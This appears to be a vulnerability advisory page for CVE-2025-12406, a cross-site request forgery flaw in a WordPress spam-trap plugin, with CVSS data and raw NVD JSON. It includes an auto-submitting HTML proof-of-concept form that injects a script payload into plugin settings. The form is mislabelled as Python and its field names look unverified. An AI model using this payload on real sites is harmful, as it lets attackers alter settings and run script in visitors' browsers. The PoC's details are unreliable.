Security Vulnerability Report
中文
CVE-2025-12406 CVSS 6.1 MEDIUM

CVE-2025-12406

Published: 2025-11-18 09:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Project Honey Pot Spam Trap plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing or incorrect nonce validation on the printAdminPage() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Project Honey Pot Spam Trap plugin for WordPress <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12406 --> <!-- Target: Project Honey Pot Spam Trap plugin for WordPress --> <!-- Vulnerability: Missing nonce validation in printAdminPage() --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC</title> </head> <body> <h1>CSRF PoC - CVE-2025-12406</h1> <p>This PoC demonstrates the CSRF vulnerability in Project Honey Pot Spam Trap plugin.</p> <!-- Auto-submit form to update plugin settings --> <form id="csrfForm" action="http://target-wordpress-site/wp-admin/admin.php?page=project-honey-pot" method="POST" style="display:none;"> <input type="hidden" name="project_honey_pot_settings" value="1"> <!-- Attacker-controlled settings --> <input type="hidden" name="honeypot_field" value="<script>alert('XSS via CSRF')</script>"> <!-- Additional malicious parameters can be added here --> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this message, the attack has been executed.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12406", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:48.317", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Project Honey Pot Spam Trap plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing or incorrect nonce validation on the printAdminPage() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/project-honey-pot-spam-trap/tags/1.0.1/project_honey_pot.php#L244", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/project-honey-pot-spam-trap/tags/1.0.1/project_honey_pot.php#L248", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/project-honey-pot-spam-trap/tags/1.0.1/project_honey_pot.php#L293", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e774476d-3696-4489-b028-16c25f8db1ca?source=cve", "source": "[email protected]"}]}}